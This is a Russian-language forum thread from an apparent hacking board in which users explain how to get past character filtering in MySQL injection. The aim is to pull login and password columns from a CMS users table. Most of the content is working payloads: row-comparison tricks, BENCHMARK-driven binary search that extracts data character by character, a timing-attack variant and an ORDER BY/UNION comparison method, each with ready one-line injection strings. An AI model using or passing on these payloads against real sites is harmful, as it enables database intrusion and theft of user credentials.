Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 29.09.2013, 14:14   #1
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
Exclamation MySQL: Обход фильтрации символов в имени колонок

Прим.: Вариант, который потерялся, и о котором никто не напомнил: https://rdot.org/forum/showpost.php?...2&postcount=10
Материал ниже все равно может быть полезен при изучении специфических SQL-запросов в MySQL и при некоторых типах WAF.
------------

Недавно, изучая одну уязвимость возникла проблема - фильтрация символов: _ (Нижние подчеркивание), / (Unix-слэш)

Дыра была в одной из CMS, данные таблицы были известны заранее:
PHP код:
DROP TABLE IF EXISTS users;
CREATE TABLE users (
  
id int NOT NULL auto_increment,
  
u_login varchar(255binary NOT NULL,
  
u_psss varchar(60NOT NULL,
  
PRIMARY KEY (id)
); 
Возомжное решение:
Цитата:
Сообщение от NameSpace Посмотреть сообщение
PHP код:
... UNION SELECT u_loginu_psss345 FROM users -- # Фильтрует _ и ,
... UNION SELECT FROM (users join (select 3a join (select 4b join (select 5c) -- # Пропускает 
Не подходило по причинам(выбрать нужное):
  • Принтабельно только первое поле или таких полей вовсе нет
  • В запросе полей значительно меньше, чем в таблице
  • Вывод через ошибку
  • Инъекция в ORDER BY / etc
  • Инъекция полностью слепая
Решение
PHP код:
SELECT ('a' 'admin');  - TRUE
SELECT 
('b' 'admin');  - FALSE
SELECT 
('ac' 'admin'); - TRUE
SELECT 
('ad' 'admin'); - TRUE
SELECT 
('ae' 'admin'); - FALSE

-----------------------------------------
SELECT (1'ad'0x00) < (1'admin''passwd'); - TRUE
SELECT 
(1'adm'0x00) < (SELECT FROM users LIMIT 1); - TRUE
SELECT 
(1'adn'0x00) < (SELECT FROM users LIMIT 1); - FALSE

# Но перед определением следующей колонки надо знать предыдущую:
SELECT (1'b') < (1'admin'); - FALSE
SELECT 
(1'b') < (2'admin'); - TRUE 
К этому все и идет. Это не долгий метод, работает он так-же быстро - 8 запросов на один символ. Однако выводить с такой скоростью при возможности нормального вывода - гиблое дело, по этому перебирать мы будем прямо в MySQL. Воспользуемся BENCHMARK. Варианта всего два:
  • Грубый перебор - просто, но запрос будет тяжелым
  • Бинарный поиск - сложно, но быстро

На деле бинарный поиск реализовать проще - в этом случае на поиск каждого символа идет ровно 8 попыток, что не составляет труда задать фиксировано.
Теория

Нам понадобится несколько переменных:
PHP код:
SET @res := ''# Результирующая строка. Без кавычек задать пустую строку можно так: trim(0x20)

    /* Переменные для бинарного поиска */
SET @one_num := 0;
SET @two_num := 256;

char((@one_num + @two_num) / 2# Проверяемый символ

concat(@reschar((@one_num + @two_num) / 2)) # Проверяемая строка

# Условие
((1concat(@reschar((@one_num + @two_num) / 2)), 0x00) < (SELECT FROM users LIMIT 1)) # Условие

# Если условие ложно, то:
@two_num := (@one_num + @two_num) / 2

# Если условие истинно:
@one_num := (@one_num + @two_num) / 2

# Как прошли 8-ую итерацию:

@res := concat(@reschar(@one_num))

@
one_num := 0;
@
two_num := 256;

# Объеденяем:
benchmark(8
        if(
            ((
1concat(@reschar((@one_num + @two_num) / 2)), 0x00) < (SELECT FROM users LIMIT 1)),
            (@
one_num := (@one_num + @two_num) / 2),
            (@
two_num := (@one_num + @two_num) / 2)
            
        )
    )

# Выводим результат:
SELECT char(@one_num); 
Достроим запрос:
PHP код:
# Вывод нескольких символов:
benchmark(5,
    
concat(
        @
one_num := 0,
        @
two_num := 256,
        
benchmark(8,
                if(
                    ((
1concat(@reschar((@one_num + @two_num) / 2)), 0x00) < (SELECT FROM users LIMIT 1)),
                    (@
one_num := (@one_num + @two_num) / 2),
                    (@
two_num := (@one_num + @two_num) / 2)
                    
                )
            ),
        @
res := concat(@reschar(@one_num))
    )
); 
А теперь инициализируем все переменные прямо там:
PHP код:
SELECT mid(
    
concat(
        @
res := trim(0x20),
        
benchmark(5,
            
concat(
                @
one_num := 0,
                @
two_num := 256,
                
benchmark(8,
                        if(
                            ((
1concat(@reschar((@one_num + @two_num) / 2)), 0x00) < (SELECT FROM users LIMIT 1)),
                            (@
one_num := (@one_num + @two_num) / 2),
                            (@
two_num := (@one_num + @two_num) / 2)
                        
                        )
                ),
                @
res := concat(@reschar(@one_num))
            )
        ),
        @
res
    
),
    
2
); 
Работает! Избавимся от запрещенных символов:
Код:
SELECT mid(concat(@:=trim(0x20),benchmark(50,concat(@a:=0,@b:=256,benchmark(8,if((1, concat(@,char((@a+@b)div(2))), 0x00)<=(SELECT * FROM users LIMIT 1),@a:=(@a+@b)div(2),(@b:=(@a+@b)div(2)))),@:=concat(@,char(@a)))),@),2);
И дело в шляпе! Запостил сюда, в Help по MySql инъекциям публиковать объемные посты наверное не стоит.

Последний раз редактировалось NameSpace; 16.08.2015 в 14:35..
NameSpace вне форума   Ответить с цитированием
Старый 11.03.2014, 22:05   #2
madhatter
 
Регистрация: 11.01.2014
Сообщений: 86
Репутация: 1
По умолчанию

Некоторое время назад наткнутлся на весьма аналогичную ситуацию. Скажите, это часом не малоизвестная сайтово-форумная цмс отечественного производства?
madhatter вне форума   Ответить с цитированием
Старый 12.03.2014, 10:10   #3
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Не подскажу, в глаза не видел ни CMS, ни ресурса.
NameSpace вне форума   Ответить с цитированием
Старый 03.08.2014, 14:45   #4
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Данный вектор работает некорректно, если в одной из колонок стоит NULL из-за того, что NULL при сравнении дает NULL:
PHP код:
mysqlSELECT NULL sleep(1);
+-----------------+
NULL sleep(1) |
+-----------------+
|            
NULL |
+-----------------+
1 row in set (0.00 sec
Например, если структура записей такова:
PHP код:
+-------+--------+-------+
name  passwd admin |
+-------+--------+-------+
admin qwerty |  NULL |
+-------+--------+-------+ 
То данные, которае даст запрос выше, будут такими:
Код:
qwertx\xFF\xFF # Неправльно (запрос из статьи основывается на том, что 0x00 меньше следующего поля)
qwerty\x00\x00 # Правильно
Казалось бы, можно просто запомнить этот момент, однако в другом варианте структуры вектор вовсе не даст данных:
PHP код:
+----+-------+-------+--------+
id admin name  passwd |
+----+-------+-------+--------+
|  
|  NULL admin qwerty |
+----+-------+-------+--------+ 
Все варианты сравнить третье и четвертое поле способом из статьи обернутся фиаско.

Способ №1. Timing Attack
PHP код:
mysqlSELECT benchmark(40000000"abcdefgh" "azcdefgh");
+----------------------------------------------+
benchmark(40000000"abcdefgh" "azcdefgh") |
+----------------------------------------------+
|                                            
|
+----------------------------------------------+
1 row in set (3.48 sec)

mysqlSELECT benchmark(40000000"abcdefgh" "abzdefgh");
+----------------------------------------------+
benchmark(40000000"abcdefgh" "abzdefgh") |
+----------------------------------------------+
|                                            
|
+----------------------------------------------+
1 row in set (4.30 sec)

mysqlSELECT benchmark(40000000"abcdefgh" "abczefgh");
+----------------------------------------------+
benchmark(40000000"abcdefgh" "abczefgh") |
+----------------------------------------------+
|                                            
|
+----------------------------------------------+
1 row in set (5.11 sec
Без комментариев.

Используя оператор <=> и замеряя время можно медленно, но верно получать данные.

Дополнение к статье:
При сравнении можно использовать тот факт, что "abcd" = 0 и "Nabcd" <= N:
PHP код:
mysqlSELECT (1"admin""password") = (100);
+--------------------------------------+
| (
1"admin""password") = (100) |
+--------------------------------------+
|                                    
|
+--------------------------------------+
1 row in set2 warnings (0.00 sec)

mysqlSELECT (1"admin""password") >= (10"pa");
+------------------------------------------+
| (
1"admin""password") >= (10"pa") |
+------------------------------------------+
|                                        
|
+------------------------------------------+
1 row in set1 warning (0.00 sec
Это позволяет избежать хранения данных из предыдущих колонок в запросе и позволяет брать необходимые сразу.

Способ №2. ORDER BY {col_name | expr | position}
Данная техника базируется на новом варианте сравнения - c помощью ORDER BY и подставного запроса (операторы <, >, <=, >= не используются):
Код:
mysql> SELECT 1, 0, "u", 0 UNION (SELECT 2, null, "user", "passwd" FROM dual LIMIT 1) ORDER BY 3; 
+---+------+------+--------+
| 1 | 0    | u    | 0      |
+---+------+------+--------+
| 1 |    0 | u    | 0      |
| 2 | NULL | user | passwd |
+---+------+------+--------+
2 rows in set (0.00 sec)

mysql> SELECT 1, 0, "v", 0 UNION (SELECT 2, null, "user", "passwd" FROM dual LIMIT 1) ORDER BY 3; 
+---+------+------+--------+
| 1 | 0    | v    | 0      |
+---+------+------+--------+
| 2 | NULL | user | passwd |
| 1 |    0 | v    | 0      |
+---+------+------+--------+
2 rows in set (0.00 sec)
По ответу, оказавшемуся на одном из мест можно определить результат сравнения и подобрать всё поле соответственно. Определять содержимое полей до NULL мы уже научились, а если NULL стоит на первом месте, то можно проверять результат на NULL (Если сравнение вернет NULL - одна ветвь, если что-то ещё - вторая. Можно добавить в начало свою колонку через JOIN, но это будет более громоздко.).

Примеры адаптации блока условия:
Код:
(SELECT 1, 0, X, 0 UNION (SELECT 2, null, "user", "passwd" FROM dual LIMIT 1) ORDER BY 3 LIMIT 1) < (2, 0, 0, 0)
Но учтите, что есть баг, который может проявить себя:
PHP код:
mysqlSELECT ((null0) = (00));
+----------------------+
| ((
null0) = (00)) |
+----------------------+
|                 
NULL |
+----------------------+
1 row in set (0.00 sec)

mysqlmysqlSELECT ((null0) = (00)) is not null;
+----------------------------------+
| ((
null0) = (00)) is not null |
+----------------------------------+
|                                
|
+----------------------------------+
1 row in set (0.00 sec)

mysqlSELECT ((null0) = (00)) <=> null;
+-------------------------------+
| ((
null0) = (00)) <=> null |
+-------------------------------+
|                             
|
+-------------------------------+
1 row in set (0.00 sec
Пример укороченного запроса с адаптированным блоком условия:
Код:
SELECT mid(concat(@:=trim(0x20),benchmark(50,concat(@a:=0,@b:=256,benchmark(8,if((SELECT-1,concat(@,char((@a+@b)div(2))),0 UNION(SELECT * FROM users LIMIT 1)ORDER BY 2 LIMIT 1)<(0,0,0),@a:=(@a+@b)div(2),(@b:=(@a+@b)div(2)))),@:=concat(@,char(@a)))),@),2);
NameSpace вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot